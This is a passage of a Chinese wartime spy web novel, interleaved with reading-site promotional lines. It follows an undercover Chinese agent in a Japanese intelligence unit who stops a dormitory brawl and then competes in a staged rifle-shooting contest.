工藤根本没想到林赤如此执着,把一件和自己八竿子打不着的事情往自身揽,欲再次挣脱,却遭遇到林赤铁箍一样的双手,内心又惊又恼,勃然色变,左手收掌成拳,不假思索一拳向林赤挥来。 一切又回到了林赤的预期,他早有准备,工藤的手刚刚抬起,林赤压在他手臂上的手忽然加大了力度,一扣一扳,已将他的手臂反转在身后,右手一抬把工藤右手里的枪口从稻田的脑门上移开,紧接着使劲一掰,工藤的右手已被林赤按住,与此同时把工藤的整个身子拎了起来。 稻田身上的压力一轻,一骨碌爬了起来。 稻田已气喘如牛,如同炸了毛的恶兽一样气势汹汹扑向工藤,并试图抢他手里的枪。 稻田的手指才触到手枪,林赤已先他而至,拇指扣住工藤的虎口,用力将他的手腕向内一扣,工藤的五指立即无力张开,手里的枪径自掉落地上。 稻田急不可耐地弯下腰,欲抢地上的枪,林赤一脚已把枪支踢到身后更远的地方。 说时迟那时快,林赤一个大力推手,把身前的工藤推出数米之远,转身一个箭步冲上去,拾起手枪,手指顺着枪身捋了捋,把弹匣卸下紧攥在手心里。 “这支枪我先替你们收着,明天我会交给黑木将军,枪的主人直接找将军要去!”林赤说着就欲出门。 “站住!”稻田失声喊叫。看到林赤驻步,稻田的语气软了下来,几乎是央求道:“林桑,阁下还是不要惊动将军为好……” “哦?”林赤的口气也缓和下来,疑虑地打量了稻田一眼,转头对着门外了无睡意的人们说道:“大家散了吧,该回去睡觉了……” 可是围观的人们意犹未尽,半天没有挪动脚步。 林赤把手搭在门的边沿上,站在房内作关门状,对人群补充说道:“你们不就是想看我和工藤君的比试吗?明天午间操练场见……”边说边徐徐关上了房门。 林赤合上房门,这才转身对依旧气鼓鼓的工藤和稻田说道:“二位,你们累了没有?” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第237章 露出水面 话音刚落,工藤夕贵猛地冲到林赤的面前,一把抓住他的领口,怒喊道:“林赤,你太放肆了!”边说边抓住他的领口使劲上提。 “工藤君,别误会,我可没有恶意……”林赤试图掰开对方的手,却发现工藤更用力了,只得松开手陪着笑继续道:“难道你没看到稻田君已没有反抗之力了吗?你骑在他身上不依不饶,居然还用枪指着他,稻田君好歹也是堂堂的电讯股股长,你这样做是一点面子都不给他,让那些围观的人以后怎么看他?他们会觉得稻田君也太软弱可欺了。” 稻田本站在不远处看热闹,听到林赤的一番话,平息的怒气又升腾起来,趋步上前,正见工藤扬起拳头作势进一步恫吓林赤,不假思索一把攥住他的胳膊,恨恨道:“就算是林桑帮我了,你想怎么样?” 工藤扭头瞪了一眼稻田,喝道:“你以为有了帮手我就会怕了你?” 林赤不失时机抢口道:“我谁都不帮,咱们都是松机关的同事,在一个锅里吃饭,低头不见抬头见,何必弄得像仇人一样?你们大半夜在宿舍打斗,闹出这么大的动静,还引来众人围看,这件事万一传到黑木将军的耳里,恐怕他不会轻易饶了你们……” 稻田听毕,连忙松开工藤,林赤所说是实情,他真怕藏匿宝物之事败露,被黑木深究,于是连忙讪讪道:“工藤君,我看这件事就到此为止……林桑也是一片好意……” “不行!”工藤断然道,又回头恶狠狠对林赤叫道:“这件事你欠我一个解释!” “你要我给你怎么解释?”林赤忽然阴沉着脸,“眼睁睁看你们厮打,而我无动于衷?如果工藤君觉得我欺负你了,不服气的话咱们再约个时间,来一场决斗?” “我看这个主意不错!”稻田终于露出一丝笑意,神情也俏皮起来,开始煽风点火,“但就我判断,这场决斗工藤君未必有胜算!” “那也不见得,要等决斗了才见分晓!”工藤瓮声瓮气回敬道。 “行,那就等明天咱们比试过后,我俩另择时间!” 工藤借坡下驴,无力地垂下手臂,却忽然看到林赤对他视而不见,目光绕过他的身子,盯着某一处,心中好奇,便顺着他的目光看去。 在稻田身后的地上,凭空多了一叠照片。 工藤稍一迟疑,林赤已离他而去,三两步走近,弯腰捡起。 “咦,这是什么照片?”林赤信手翻看,嘴里喃喃自语。 工藤反应还算敏捷,跨步上前,朝着林赤走去。 稻田幡然醒悟,手不自觉探了一下口袋,果然空空如也,打斗中他口袋里的照片滑落于地了。 这短暂的迟疑后,稻田一个箭步上前,一把夺过林赤手里的照片,迫不及待放进袋子里。工藤只是在靠近林赤的时候瞟了一眼,隐约看出是某样物件的写真照,正要细看,照片已被稻田收走,顿时觉得吃了天大的亏,三人中唯有自己没能一睹真容,潜意识里断定乃与稻田埋藏之物有关,心痒难抑,心有不甘,执着向稻田询问道:“照片上拍的是什么?” “没什么……”稻田搪塞一句,开始顾左言右,对林赤说道:林桑,你真的准备和工藤君比试枪法吗?” 林赤支支吾吾着并不想马上答话,他期望此时的稻田能按工藤的思路说点什么。 “工藤君也就是开开玩笑,你可别当真!”稻田继续转移两人的注意力。 “我可是认真的……”工藤跳了起来,对林赤正色道:“一言既出,绝无儿戏,明天我们一定要分出高低!” “一切都由工藤君安排。”林赤只得接过工藤的话说道,“不过,咱俩的比试是有前提的……” “什么前提?” “以不伤害对方为原则,切切不能过火!” “还有,最好请一名裁判,保证比试的公允。” “这个裁判我来当!”稻田兴奋道。 “你?”工藤狐疑打量着稻田,显然他骨子里觉得他非合适人选。 “在没有更权威人选的前提下,我看行!”林赤开始向门口走去,开门的时候,不忘回头补充道:“时间不早,二位早点歇息。”说着缓缓打开房门,脚一踏出门外,便轻轻带上。 门外的走廊上看热闹的人群已然散去,林赤并未即刻离开,他的后背紧贴房门,不慌不忙从口袋里掏出一根香烟,先是在鼻前深深嗅了几口,然后把烟卷的一端在手指甲上反复击打着,这当口,他的耳朵全神贯注收集着房内二人的对话。 果然,一见林赤离去已,工藤的声音随之出现:“稻田君,你神秘兮兮到底藏了什么?” “前段时间,我偶得一件宝物,就把它藏在树林里了,没想到我今天去,竟发现不见了,工藤君,你要说实话,东西真不是你拿的?” “我工藤夕贵对天发誓……” “他还是对天皇发誓吧,阁下真不知情?” “……我向天皇发誓,的确不是我!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“那阁下为什么要跟踪我?” “纯属巧合,那晚我本有任务,带队前往鼓楼广场设伏,可时间尚早,便散步去了操练场,没想到在树林里撞到你了……” 接下来是长时间的沉默,林赤把手里的烟卷塞到嘴里,刚想离去,听到工藤好奇问道:“稻田君,能说说是什么宝贝吗?” 半晌,听到稻田叹息道:“喏,我拍了照片,就是它……”显然,稻田把那叠照片递给了工藤。 “这东西很值钱吗?”工藤的声音。 “你想想,国民政府蒋总统的藏品,还能有差?” “你是怎么到手的?偷的?” “工藤君这话太难听,什么叫偷?你想想,帝国军队占领南京期间,帝国多少人一夜之间发了横财?我只不过是捡了个漏……”稻田又是一声叹气,“唉,难过又有何用?可惜这么好的东西如今已不属于我稻田勇了!” 林赤已听出大概,这才移步朝宿舍走去,他边走边掏出火柴,轻轻一划,一团火光跳跃而出,他将烟头探进火里,猛地吸了一口,烟头上很快燃起了美妙的红光,伴随着升腾而起的雾气,林赤大踏步前行,把簇拥在他周围的浓烟远远抛在了身后。 …… 翌日早上,林赤起床洗漱完毕,提着饭盆去集体食堂吃早饭,刚打完早饭,看到人群中一个熟悉的身影。 渡边雪奈独自一人坐在一张餐桌旁享用早餐,看到林赤后,连忙向他招了招手。 林赤在渡边对面坐下,渡边放下手中的饭盆,笑吟吟问道:“林桑,听说你今天要和工藤君比试枪法?” “渡边少佐这么快就知道了?”林赤佯装吃惊问道。 “我一到食堂,就有人和我说起了,怎么,是真的?” 林赤四下看了看,见不少人把目光射向他,有人还在交头窃窃私语。林赤收回目光,点了点头,说道:“渡边少佐,我只是劝了一次架,工藤君就赖上我了!” “劝架?工藤君和谁打起来了?” “电讯股稻田勇,不过也就是一次小摩擦,后来俩人又和好如初。” “他们为了什么事?” “具体情况不详,这要问当事人。” “工藤也是,自负得很,从来不把任何人放在眼里!”渡边忽然乐了起来,“你和他在燕子矶交过手,他吃了亏,自然耿耿于怀!那一次工藤君居然受伤了,这对他来说是奇耻大辱!所以这个面子他是一定要挣回来的!” “就为了这事,他非得与我一争高下?”林赤皱了皱眉。 “林桑有所不知,阁下被我们抓住后,我曾向他透露过,并说出了你的身份,工藤君当时就恨得咬牙切齿。” “嘿嘿……”林赤咧嘴得意笑了一下,又道:“渡边少佐……” “以后还是叫我渡边小姐,这样听得亲切!”渡边一脸严肃,打断了林赤,“阁下虽然归我领导,但我不喜欢高高在上的感觉……” “是,渡边小姐……我和工藤君的比试如果黑木将军知道了会不会很生气?” “不会不会,松机关太需要一场真正勇士之间的比武来激发斗志了!再说,黑木将军今天不在,你们可以尽情发挥!”渡边说着示意林赤边说边聊。 林赤埋头才喝了一口粥,听到渡边又问道:“林桑,这次比武你有把握赢了工藤君吗?” “一半对一半。” 渡边把自己饭盆里的一块馒头放进林赤的碗里,身子前倾,双手撑在桌上托着下巴看着林赤,沉思片刻说道:“不过,我倒是希望赢的人是林桑……” “就因为我是你的下属?”林赤抓着馒头的手停在嘴边,眼睛里掠过诧异之色。 “不全是……”渡边语气突然低了下来,躲过林赤的眼睛,缓了缓道:“是需要有人杀杀工藤君的锐气,帝国的报纸把他捧得太高了,用你们的中国话说,他已经轻狂得找不着北!” 林赤把手里的馒头送进了嘴里,一边咀嚼一边说:“就怕胜了他,他会不高兴的……” “这一点林桑不必多虑!所有人都不希望这场比试掺水……” “要不,中午饭后烦劳渡边小姐给我们主持?” “好啊,这个裁判我亲自来当!” “能让渡边小姐做裁判,我想这场比试更显得名正言顺,到时即使黑木将军怪罪下来,也有人替我挡着,只是至于工藤君认不认可渡边小姐,我可不敢保证,毕竟您是我的上司,工藤君该不会认为您会偏袒我?” “这是你们中国人的思维,我可以肯定工藤君会举双手赞同的!”渡边说着指了指肩上的军衔,“我乃堂堂的少佐,他工藤只不过是个上尉。” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第238章 机关长不在的日子里 渡边告别林赤,在憩庐的楼下遇到刚从外面办事归来的川上麻衣,两人互问了好,渡边正要离去,忽然想起林赤和工藤比武一事,连忙详细告之,并谦虚地征求他的意见。 黑木不在的日子,川上中佐是松机关军衔最高的军官,渡边将此事通报给他,本是想显示对他的尊重,别无其他,哪知川上一听,当即来了兴趣,也就毫不客气把自己当成了主事者,显出一副老成持重的样子道:“这件事情我看咱们需要好好谋划谋划!” “不就是比枪法嘛,有什么好谋划的?”渡边觉得川上小题大做了。 “话可不能这么说……比赛内容、规则及赛制制定,以及现场观摩人群的组织等等……细节很多,如何在安全的前提下确保正确的导向……” 渡边果断地打断道:“川上君所指正确的导向是什么?” 川上不屑地瞟了渡边一眼,意味深长说道:“少佐别小看这样的而比赛,如果组织得当、引导得当,它将是一场催人奋进、积极向上、斗志昂扬的比赛,对激发我大日本皇军的士气将会起到事半功倍的效果,这甚至比一场小规模战斗所取得的胜利意义更深远!” “川上君言过其实了吧?”渡边疑惑盯着川上道,“不就是我们松机关内部勇士们的一次切磋,再平常不过了,再说,既然是切磋,总有人胜有人败,胜者自然鼓舞人心,可败者呢?” “渡边少佐是真不知道还是装糊涂?” “请川上君赐教。” “林赤是什么人?他是个支那人,并且还是一个变节的支那人,某种意义上,工藤君代表的是我大日本帝国,是帝国的军威!小姐不妨深入想想,如果工藤君战胜了林赤,不但可以扬我国威、长我民族志气,还会使得在场所有帝国的将士热情澎湃,那是何等大快人心的场面,难道渡边小姐不这么认为?” “我不同意阁下的观点……”渡边毫不客气回敬道:“我只知道,那位林先生现在服务我大日本帝国,是我松机关行动处的一名队员,他的胜利同样鼓舞人心,尤其对于我辖下的行动处,必定会给所有的队员带来蓬勃的朝气!” 川上吃惊地看了渡边一眼,想再分辩几句,又生生忍住,只得意兴阑珊道:“渡边小姐,你的眼光太短浅了,不过你说的也有一定道理……不管如何,我还是希望我们二人把这场比试好好组织一下,毕竟将军外出,我们是唯一挑头的人。” “这我同意,川上中佐准备怎么办,我一切听阁下的……” “既然是比试,双方总得有支持者,这样的场面才有看头,才更热血,你去安排人贴张海报,公布双方的名字,把各方的支持者一一登记,到时分两个阵营!我去找工藤君,和他商量一下赛制和规则……” 渡边点头应允,回到行动处的办公室,立即叫来了李泉和钱瑾余以及一名日籍队员,让他们分别用日文和中文按川上的意思拟一份比武告示,张贴在憩庐的门前走廊上。 告示一经贴出,一位叫林赤的“支那人”(他新来乍到,很多人并不认识他)和帝国神一样的狙击手工藤夕贵,在午间饭后操练场比武的消息立即像病毒一样在整个松机关扩散,这成了松机关机关长黑木将军外出公干后最美妙的一个上午,工作在这个时刻已显得微不足道,松机关的职员们津津乐道于对此次比试的种种预判,几乎每个部门均有相关人士作出了权威发布,至于谁才是众望所归的赢家,最终体现在汇总到行动处的双方支持者的名单上。 渡边拿到这份名单,嘲笑着对林赤说道:“林桑,你的人缘令人堪忧啊,居然没有一人愿意做你的啦啦队队员!” “意料之中!”林赤苦笑了一下,看到不远处的李泉正在看着自己,连忙大声问道:“李泉,作为一名中国人,你会支持我吗?” “我?”李泉轻声应道,嘀咕了一句:“你行吗?” “我觉得行!”渡边突然扬声答了一句,“今天的比试,林赤是代表了我们行动处,他的荣誉也是我们的集体荣誉,我有个要求,咱们行动处三十来号人都必须无条件为林桑擂鼓助威!” …… 这个上午,时间因由一场别开生面的比赛而愈发漫长,在众人的翘首期盼中,午饭时间到。 林赤裹挟在熙熙攘攘的人群中前往食堂,在食堂门口,林赤看到了东张西望的电讯股股长稻田勇,林赤对他已不陌生,正要上前和他打招呼,稻田疾步迎了上来,一把拉住林赤的衣袖,无比亲热说道:“林桑,借一步说话。” 林赤跟着稻田来到一个无人的地方,刚站定,稻田迫不及待问道:“林桑,我真心请教一事,恳请阁下如实答我。” 林赤见他满面春风,不知其葫芦里卖的什么药,机械说道:“稻田君请说,我定当知无不言。” 稻田略一沉吟,问道:“林桑,你的实力到底怎么样?” “什么意思?”林赤不解。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!稻田四下打量一圈,低声道:“我想利用你和工藤夕贵的比试,设一场赌局,赚点小钱,这之前,我必须清楚知道你们双方的实力。” 林赤听懂了,打趣道:“稻田君是不是最近手头很紧?” “这又不是什么丢人的事……是这么个情况,我遇到一些困难,急需用钱!” “那阁下准备买谁赢?” “就是不知道啊,所以才希望和林桑说几句掏心窝的话。” 林赤思索俄顷,抬头道:“我起码知道一点,今天的比试,看好我的人不多,如果稻田君希望大有斩获的话,必有合适的答案……当然,风险和财富如影随形!”说完头也不回走了。 林赤一进食堂,迎来了整齐的注目礼,他一下子觉得,自己俨然已成了松机关的名人。 古往今来,明星的诞生从来就是踩在另一个明星的肩上的,而向强者约架则是最迅捷最有效的方法。 林赤匆匆吃完午饭,一离开座位,蓦然发现绝大多数人都开始纷纷起身,其中有不少行动处的同事,他们按渡边少佐的要求簇拥着林赤,雄赳赳气昂昂向操练场行进而去。 操练场已围了很多人,树林最西边的开阔地上,稻田摆了一张桌子,他站在桌后大声吆喝。 “小赌怡情大赌伤身,千载难逢的好机会,想要发财,赶紧下注,盘口开放,10元一注,时间不多,十分钟后截止!” 在桌前,已排成一列长长的队伍,清一色的男子,纷纷举着日钞争先恐后报名,稻田的身旁,一人拿着一本本子正在进行登记。 看到林赤,稻田羞赧报以一笑,移步上前,一把将林赤拽到跟前,高声说道:“这位就是即将和工藤君比试的林先生,大家别小看了他,他原先可是国军里的神枪手,听说还是一名海归,就在饭前,我特地和他进行了一次推心置腹的交谈,他坚定地说,一定会打败工藤君的,是吗,林先生?” 人群中马上发出一声声嘘声。 林赤微红着脸,摇摇手说:“大家别听稻田君信口开河,这样的话我断然不会说,工藤君是我敬重的一名狙击手,他的身上到处散发出荣誉的光环,多得令我嫉妒,我岂敢狂妄自大?不过,我们中国有句古话,那就是‘尽人事听天命’,我只能说这么多!”说着挣脱了稻田,向操练场跑去。 操练场的西首,自觉分成两个方阵,其中一个方阵规模浩大,足有百余人,另一方阵那是行动处的同僚,寥寥数十人,林赤一眼看到组织,马上踱步上前。 松机关的川上中佐和渡边少佐两位主事的人物早已抵达,正在人群前低声交谈,他们的身旁站着工藤。看到林赤率先到达,川上和渡边二人同时示意林赤上前说话。 林赤亦步亦趋走上前去,就在林赤和工藤擦肩而过之际,林赤隐隐听到他冷哼了一声,不由瞥了他一眼,和工藤孤傲的目光不期而遇。 没等林赤站定,川上边看表边转头,从身旁一名士兵手中接过一支自制的铁皮喇叭,对两个方阵的人群高声喊了一句:“大家静一静……” 一声令下,喧嚣声减低。 “在正式比赛之前,我公布一下比赛规则……”川上耐心地等着人群安静下来,直至鸦雀无声,方道:“首先,本场比赛由我代行机关长黑木将军之职,并和行动处的渡边雪奈少佐一起主持……本次比赛有三个原则,第一、公平公正;第二、必须见胜负;第三、友谊第一,切磋为主!”说到这儿,川上跨前两步,从前排的一名士兵手里取来两支三八式步枪,又道:“这两支步枪都是平素装备给帝国士兵的普通步枪,这也是今天的比赛用枪,第一、二轮每人四个弹夹,共二十发子弹,如果第一二轮还分不出胜负,我们将加赛,进行第三轮,子弹另外提供……” “第一轮,两位将进行静态射击,目标是百米外的悬挂的空酒瓶……”说着指了指一百米多米开外的杉树林,对林赤和工藤说道:“你们二位一人一枪,把它们依次击落,击落多者获胜。” 林赤顺着川上的手势看去,操练场东首的两棵粗壮的大树之间,已系着一根铁丝,上面挂满了清一色的空的清酒酒瓶,林赤数了一下,不多不少整整二十支。 “第二轮比赛,是动态射击,你们二人将坐上摩托的挎斗里,挎斗摩托将在距离目标百米开外的操练场上作圆周运动,你们在得到口令后,同样依次进行击发,获胜规则和前者一样!” 林赤扫了一眼,果然,人群前二十米不到的地方,已静静停着两辆挎斗摩托。 看到川上缄默不语了,林赤赶紧问道:“第三轮什么规则?” “现在保密,如果二位分不出胜负,我们将加赛第三轮,总之一句话,不分出胜负,比赛永不结束,大家觉得好不好?” “吆西!”人群里响起了排山倒海的应和声。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第239章 巅峰对决 川上麻衣此时神色一凛,说道:“工藤君、林桑,如果二位对赛制没有什么异议,咱们这就开始吧!”说着把手中的两支步枪分别递给林赤和工藤。 话音刚落,只听“咔擦”一声,林赤和工藤几乎同时拉开枪栓,接着开始检查枪支,校准,装弹,这一切做完后,二人齐刷刷站直身体,面朝目标,就等川上一声令下。 刚才还嘈杂纷乱的现场,转眼间一片寂静,所有人都屏住了呼吸,睁大了眼睛一眨不眨看着两名志在必得的枪手。这忽现的异样一下子引得那片开阔地买码的士兵们纷纷侧目,他们发现好戏已上演,再也顾不得稻田把赌博的获利描绘得如花儿般美好所带来的诱惑,连忙撒腿跑进会场。 “开始!”川上麻衣的一声令下。 两人同时举起步枪。林赤和工藤互相对视一眼,林赤轻声说道:“工藤君,第一枪由你先发。” “恭敬不如从命。”工藤几乎没有瞄准,只是枪口微微抬高少许,毫不犹豫扣动了扳机。 “哐——”的一声,百米开外最右侧的酒瓶应声爆裂,玻璃碎片四处飞溅。 “好——”叫好声伴随着击掌声经久不绝。 工藤得意地瞟了林赤一眼,直等到到这股声浪如抽丝般远遁,方才对林赤努了努嘴,上下嘴唇之间蹦出三字:“该你了。” “哐——”音质和音频几乎一模一样,林赤的搭在扳机上手指松了开来,第二只酒瓶也应声爆裂。 “好……”人群中稀稀拉拉散发出掌声,只是相比第一次的声浪要孱弱得多。站在人群前面的渡边,像是有意无意地朝着林赤身后的方阵瞥了一瞥,还未回过头来,不知是谁抢先带头喊了一声“好!”,顿时掌声一片。 工藤板着脸不再客气,一等林赤击发完毕,立即拉了拉枪栓,第二颗子弹转瞬即发。 林赤如法炮制。 就这样,三十秒不到,两人已把弹夹里的子弹尽数射出,两棵大树间的挂起的酒瓶消失殆尽。 喝彩声如雷,已分不清喝彩的到底是哪一方的粉丝。 无需派兵校验,川上已从光秃秃的铁丝看出这一轮比赛双方均以优异的成绩打成了平手。他的脸上露出了笑容,正要命令举行下一轮,突然人群外围一人高声叫道:“你们快看,他们的射击有明显差别!” 川上听到这个熟悉的声音乃是发自他的直接下属、电讯股的稻田勇股长。川上还没明白怎么回事,紧接着听到了人群中的惊嘘声。他带着满腔的不安,朝正前方看去。 这一看,川上果然发现了端倪,铁丝下方悬挂酒瓶的接头处,差别泾渭分明,五处留有残破的瓶嘴,另外的五处啥也没有,只剩下一根用来吊挂酒瓶的铁丝在空中晃悠……而这十根用来系住酒瓶的铁丝交替排列,很有规律,分明彰显出二人的手法。他稍加分辨,已然发现有瓶嘴的是工藤的杰作,了然无物的是林赤的杰作! 川上突然明白了一切,从二人射击的结果来看,基本上可以做出以下判断,那就是工藤子弹射中目标的着弹点一定不在瓶口,否则是不会留下半截瓶嘴的,而林赤的着弹点未必全在瓶口,但从概率上来说,绝不可能全在瓶身!仅仅这一点,川上心中清楚知道,双方在第一轮其实胜负已分,林赤显然要高于工藤一筹,因为哪怕是林赤只射中一次瓶口,但他做到了,这种牌子的清酒他喝过,瓶嘴直径差不多是瓶身的三分之一,要在一百米之外准确射中一个比对方目标细小三分之二的实物,其难度不知要增加多少倍! 川上内心惊惧,倒吸一口凉气,他听人描绘过工藤那次在燕子矶的失败,也知道他的失败正是拜林赤所赐,可他万万没有想到眼前的这位二十五六岁的年轻人,枪法精准竟然到了如此令人匪夷所思的地步。 当然,川上内心隐约也闪过一丝侥幸,赛制制订也许太过粗糙,只是要求射中瓶身,并未明确做出界定,工藤只是完全按照规则行事,以至于被思虑更远的林赤抢占了有利,如若进一步细化,工藤君或许根本不逊对方!思念及此,川上咳嗽一声,高声说道:“第一轮,双方平手,现在进入第二轮!” 川上的裁判挑不出毛病。渡边欲言又止,尽管眼里游过一丝异色,但旋即笑靥如花,偷偷瞄了一眼工藤。 工藤脸色铁青,紧咬着嘴唇一副气呼呼的模样。 两名日军士兵从人群中跑出,跳上挎斗摩托,使劲踩了几脚,轰隆隆的声音先后传来,两辆摩托被发动了。林赤和工藤跳上摩托,在挎斗里坐下,当两人举起枪口的时候,摩托徐徐启动,速度越来越快,在原地做着往复圆周运动。 这一次,林赤当仁不让,率先打响第一枪。 林赤一枪命中目标,子弹击中瓶身的某处,剩下瓶嘴在空中无规则晃荡。凡是在场观摩的吃瓜群众,多多少少均了解射击的玄机,他们嘴里虽然不说什么,但心如明镜,林赤第一轮明显优于工藤的表现,使得他们钦佩之余,更多的是发自内心的折服,再也没人敢低看他,因而,林赤的这一枪,充分体现出他们的预期,即便内心深处对这名中国人素无好感。 本小章还未完,请点击下一页继续阅读后面精彩内容!有人忍不住喝起彩来。 这一次喝彩声明显高亢很多。 众人的目光不约而同落在了工藤的身上。 在众人满满的期待中,工藤不慌不忙瞄准目标,当摩托周转到一个最佳射击点时,工藤毅然开枪了…… “好!”叫好声响彻云天。工藤的完美表现让略显沮丧的士气顿时高涨起来,掌声与呐喊声一浪高过一浪,看到粉丝们满血的样子,工藤左手握拳,给自己做了个加油的手势! 这一下,情绪更激动了,不知是谁喊了一句:“工藤,加油!”,便即刻引来了整齐划一的助威声——“工藤加油!” 接下来,比赛简直是对在场绝大多数日本人的身心进行狂虐,当林赤第二枪击中目标后,这些天生带有民族对立情绪的日本籍看客,一颗“丹心”马上被吊了起来,直到工藤不负众望,同样射中目标,他们方才得到短暂的安慰,可这安慰竟是那么短暂,林赤似乎根本不想让他们惴惴不安的心脏有一丝一毫的喘息,毫不犹豫再次扣响扳机…… 如此,不到一根烟的功夫,铁丝上只剩下了孤单单的两只酒瓶…… 轮到林赤发枪—— 林赤神色端重,举枪的手数度放下,随即抬起,反复多次…… 林赤异常的表现起初让渡边很纳闷,但她很快明白了一切——摩托驾驶员无缘无故把车速提高了,从她的肉眼观察,提高的速度起码在百分之三十以上,她正要喝止,却见林赤缓缓抬起枪口,并同时颤颤巍巍在挎斗里站了起来……渡边不由收声,她尽管渴望比赛的公平公正,但骨子里不缺猎奇之心,此时的她倒是很想看看林赤如何处理当下不利的局面。 这一次,林赤表现出了极其严谨的决心,当他的枪口锁定目标的时候,看客们开始拼命祈祷并默念天皇保佑这一枪击飞,他们一致开始腹语:“打偏!打偏!打偏!……” 所有人的眼睛瞪得比铜铃还大,生怕错过哪怕是微小的细节。 林赤的右手食指搭在扳机上,视力极佳的人们已发现他的手指开始发力……然而,就在那一瞬间;就在林赤欲弹射子弹的俄顷间;就在绝大多数人心怀叵测、邪念盛起的那一刻,意想不到的事发生了——急速划着圆弧的摩托突然一个急刹—— “啊?”现场惊呼声一片。 站在挎斗上的林赤刚刚适应了摩托现时的速度,万万没想到会有这样的变故,他猝不及防,巨大的惯性迫使他的身体骤然前倾,枪口早已偏移原先的准线,他一个趔趄,左脚已顶住了挎斗的内侧,身子摇摆着撞上了驾驶员的后背,撞击力又使得身子反弹,人已无法站定,摇晃着向挎斗外侧倒去…… 说时迟那时快,就在林赤即将跌倒之际,但见他的左手脱离枪托,在空中划了一个弧线,分明是在尽量寻求身体的平衡,这电光火石间,他的重心已降到最低,胸脯几乎贴着挎斗的边沿……与此同时,他手中的枪声响起—— “砰!”这一枪,声音迥异于往昔。 围观的人们心情各异,尚还没来得及多想,紧接着听到“哐当”一声脆响,这是一种玻璃制品坠地破碎的声音。 目光急速觅声寻去,只见两棵大树间只剩下了一只空瓶。 而另一只已然坠地,从接头处可以看出,林赤居然击断了系瓶的铁丝,地上的酒瓶已支离破碎。 偌大的操练场听不到任何声音,那一刻,这里的世界安静极了,所有人的表情极度错愕,包括渡边雪奈少佐和川上麻衣中佐! 他们的心中,一个大大的疑窦如同含苞欲放的花蕾刹那间盛开:他是怎么做到的? 此念刚过,一念又起:难道这是巧合? 一百米开外,射中一根比缝纫针略粗的铁丝,那需要多好的运气?! 人们摇了摇头,立即否定了内心的妄度,绝望而疑惑地把目光盯着他们所有的希望——帝国狙击手之神:工藤夕贵。 这第二轮的最后一枪,只要他没有射中铁丝,无论如何就已经判断出了胜负,林赤毫无异议地完胜工藤夕贵,且会将他们的信仰撕得粉碎! 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第240章 极端考验 毫无疑问,巨大的压力又转嫁到了工藤的身上。他猛地抖了抖脑袋,一副不堪其扰的样子,斩钉截铁对驾驶员喝道:“出发!” 驾驶员小心翼翼启动摩托,握住油门的手根本不敢用力,生怕羁绊不了跨下的三轮摩托,以至于速度太过波动,导致挎斗里的乘客发挥不稳定、甚至失常。 那个年代的摩托还没有掌握无级变速技术,只能靠不断调整档位来提高车速,通常是一档起步,但档位越低,给油越多,给油越多,油门就必须给足,这样做又会导致摩托行进过程中很不稳定,唯一有效的做法就是逐步提高档位,可难题又来了,那时的摩托在换挡的时候车身必定会剧烈抖动,这显然对驾驶员是种极大的考验。 两害相权取其轻,驾驶员决定冒险提档,就在工藤背对目标的时候,驾驶员果断用脚背挑了一下变速杆,档位换成了二挡,随着油门的轻放,挎斗摩托平静了下来,在水泥地上匀速滑行。 驾驶员无法看到身后的工藤的一举一动,一切只能靠臆度,当然他知道,要保证工藤一击命中目标,他的作用举足轻重,他首先要保证车身的平稳与匀速,并尽可能把车的速度降到最低,此外,转圈的弧度不能太大。 车速过快、弧度太大,留给工藤瞄准的时间就越短,因而他唯一所能提供给工藤的帮助,就是必须在操练场上慢慢画出一个有足够大半径的圆。 工藤亚历山大,他反复告诫自己,切不可心浮气躁。 林赤刚刚的最后一枪,对工藤的震慑不可谓不大,如果他把那次在燕子矶伏击受伤归结为自己的不小心亦或准备不足,那么,这一次他再也找不到更恰当的借口。唯一合理的解释,那就是这名同台竞技的对手实在不可小觑,也不容小觑! 对于目前的境况,工藤有着客观的认识,比赛进行到现在,优势显然不属于自己,但不管最终结果如何裁定,当务之急是把系住最后一只酒瓶的铁丝拦腰崩断!关于这个目标,他尽管觉得有难度,但并非不能实现,记忆中,他也有过这样的傲人成绩,只是年代久远罢了。 摩托画了两个圆圈后,工藤以为摩托的性能已稳定下来,于是他端起了手里的三八式步枪。 摩托继续前行,又一圈后,工藤没有击发,他依旧举着枪,尝试更精确瞄准目标。既然明知落后对方,此时此刻,工藤确保的是命中率。从大山深处走出的工藤是受过专业狙击训练,他知道,动态射击的干扰因素很多,排除影响静态射击的因素以外,他此刻必须把身下的摩托的速率考虑在内,否则将会功亏一篑。 正是鉴于这个原因,工藤至此都没有想通,林赤在当时的情形下是怎么做到的?难不成上天真是眷顾于他?亦或真是走了狗屎运? 第四圈,工藤还是没有射击。 第五圈,车行到他快要转身之际,工藤在众人的焦灼的期盼中冷不丁扣动了扳机。 随着一声枪响,最后一只酒瓶应声落地。 漫长的等待还是值得的,场下的人群顿时沸腾了。某种程度而言,这样的沸腾倒不是因为工藤的表现优异,而是这场比试实在太过精彩,不但大饱了眼福,还满足了所有人的猎奇心,看客们的胃口被彻底吊了起来,谁都不希望比试草草结束,在台下歇斯底里跺脚喊叫。 川上长吁了一口气,心想,工藤果然是好样的。他扫视了一眼群情激昂的人们,又把目光落在渡边身上,上前一步问道:“渡边小姐,这场比试你怎么看?” 渡边显然也被气氛感染,正情不自禁为工藤鼓掌,听到川上的提问,微微一笑反问道:“川上君怎么看?” “依我看,二人仲伯之间,不相上下!” 渡边点头,表示赞同。 川上转过身,面对人群抬手压了压,待声音静了下来高声说道:“第二轮,双方同样战成平手,现在我征求大家的意见,要不要加赛第三轮?” “要!”人们异口同声。 “那好,就让我们进入第三轮加试!”川上垂下手臂,反背在身后,在台前一边踱步一边道:“第三轮,让我们来考验一下工藤君和林君的心理素质……本来,这样的加试我认为几乎不可能进行到,谁知道他们竟然分不出胜负,故而,第三轮的比试内容我是自作主张,并没有请示我们的黑木将军,所以对于本轮的比赛所产生的后果,将由我一人承担,当然,前提是自愿原则,如果有人弃权,我并无异议,只是最终的胜利同样不属于他!” 川上不知不觉站定,补充道:“之所以我要说这一轮比试可能会有后果,实乃赛制的制定非同小可,是存在相当大的风险的,甚至可以说是有性命之虞的……”说到这儿,川上的脸上显露出深深的忧色,对台下的一名士兵使了个眼色,那名士兵马上站起,从包里拿出两只苹果,递到川上的手上。 